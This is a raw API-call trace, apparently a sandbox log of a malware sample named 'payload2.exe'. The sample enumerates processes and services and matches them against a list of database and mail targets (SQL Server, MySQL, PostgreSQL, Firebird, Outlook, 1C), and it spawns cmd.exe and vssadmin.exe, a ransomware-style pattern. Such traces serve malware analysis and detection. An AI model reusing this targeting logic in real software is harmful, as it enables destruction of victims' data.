	[0190.335] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0190.335] lstrlenW (lpString="sihost.exe") returned 10
	[0190.336] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.560] lstrlenW (lpString="svchost.exe") returned 11
	[0190.560] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0190.561] lstrlenW (lpString="taskhostw.exe") returned 13
	[0190.561] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0190.562] lstrlenW (lpString="msoia.exe") returned 9
	[0190.562] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0190.562] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0190.562] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0190.563] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0190.563] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0190.564] lstrlenW (lpString="Memory Compression") returned 18
	[0190.564] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0190.564] lstrlenW (lpString="explorer.exe") returned 12
	[0190.564] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0190.565] lstrlenW (lpString="SearchUI.exe") returned 12
	[0190.565] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0190.565] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0190.565] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0190.566] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0190.566] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0190.566] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0190.567] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0190.567] lstrlenW (lpString="payload2.exe") returned 12
	[0190.567] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0190.568] lstrlenW (lpString="cmd.exe") returned 7
	[0190.568] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0190.568] lstrlenW (lpString="conhost.exe") returned 11
	[0190.568] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0190.569] lstrlenW (lpString="consent.exe") returned 11
	[0190.569] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0190.569] lstrlenW (lpString="vssadmin.exe") returned 12
	[0190.569] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0190.593] lstrlenW (lpString="dllhost.exe") returned 11
	[0190.596] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1
	[0190.596] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1
	[0190.597] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1
	[0190.597] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1
	[0190.606] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1
	[0190.606] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1
	[0190.606] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1
	[0190.606] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0190.614] CloseHandle (hObject=0x5e0) returned 1
	[0190.614] Sleep (dwMilliseconds=0x1f4) 
	[0191.192] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668128
	[0191.194] EnumServicesStatusExW (in: hSCManager=0x668128, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0191.194] GetLastError () returned 0xea
	[0191.194] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x4470140
	[0191.195] EnumServicesStatusExW (in: hSCManager=0x668128, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0191.196] CloseServiceHandle (hSCObject=0x668128) returned 1
	[0191.196] lstrlenW (lpString="Appinfo") returned 7
	[0191.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0191.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0191.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0191.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0191.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0191.196] lstrlenW (lpString="AppXSvc") returned 7
	[0191.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0191.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0191.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0191.197] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0191.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0191.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0191.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0191.197] lstrlenW (lpString="Audiosrv") returned 8
	[0191.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0191.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0191.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0191.197] lstrlenW (lpString="BFE") returned 3
	[0191.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0191.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0191.197] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0191.197] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0191.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0191.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0191.197] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0191.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0191.198] lstrlenW (lpString="CDPSvc") returned 6
	[0191.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0191.198] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0191.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0191.198] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0191.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0191.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0191.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0191.198] lstrlenW (lpString="CryptSvc") returned 8
	[0191.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0191.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0191.198] lstrlenW (lpString="DcomLaunch") returned 10
	[0191.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0191.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0191.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0191.199] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0191.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0191.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0191.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0191.199] lstrlenW (lpString="Dhcp") returned 4
	[0191.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0191.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0191.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0191.199] lstrlenW (lpString="Dnscache") returned 8
	[0191.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0191.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0191.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0191.199] lstrlenW (lpString="DPS") returned 3
	[0191.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0191.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0191.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0191.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0191.199] lstrlenW (lpString="DsmSvc") returned 6
	[0191.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0191.200] lstrlenW (lpString="DusmSvc") returned 7
	[0191.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0191.200] lstrlenW (lpString="EventLog") returned 8
	[0191.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0191.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0191.200] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0191.200] lstrlenW (lpString="EventSystem") returned 11
	[0191.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0191.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0191.200] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0191.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0191.200] lstrlenW (lpString="FontCache") returned 9
	[0191.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0191.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0191.201] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0191.201] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0191.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0191.201] lstrlenW (lpString="gpsvc") returned 5
	[0191.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0191.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0191.201] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0191.201] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0191.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0191.201] lstrlenW (lpString="iphlpsvc") returned 8
	[0191.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0191.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0191.201] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0191.201] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0191.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0191.201] lstrlenW (lpString="KeyIso") returned 6
	[0191.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0191.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0191.201] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0191.201] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0191.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0191.201] lstrlenW (lpString="LanmanServer") returned 12
	[0191.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0191.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0191.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0191.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0191.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0191.201] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0191.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0191.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0191.202] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0191.202] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0191.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0191.202] lstrlenW (lpString="lfsvc") returned 5
	[0191.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0191.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0191.202] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0191.202] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0191.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0191.202] lstrlenW (lpString="lmhosts") returned 7
	[0191.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0191.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0191.202] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0191.202] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0191.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0191.262] lstrlenW (lpString="LSM") returned 3
	[0191.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0191.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0191.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0191.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0191.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0191.263] lstrlenW (lpString="MpsSvc") returned 6
	[0191.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0191.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0191.263] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0191.263] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0191.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0191.263] lstrlenW (lpString="NcbService") returned 10
	[0191.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0191.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0191.263] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0191.263] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0191.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0191.263] lstrlenW (lpString="netprofm") returned 8
	[0191.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0191.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0191.263] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0191.263] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0191.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0191.263] lstrlenW (lpString="NgcSvc") returned 6
	[0191.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0191.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0191.263] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0191.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0191.264] lstrlenW (lpString="NlaSvc") returned 6
	[0191.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0191.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0191.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0191.264] lstrlenW (lpString="nsi") returned 3
	[0191.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0191.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0191.264] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0191.264] lstrlenW (lpString="PcaSvc") returned 6
	[0191.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0191.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0191.264] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0191.264] lstrlenW (lpString="PlugPlay") returned 8
	[0191.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0191.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0191.264] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0191.264] lstrlenW (lpString="Power") returned 5
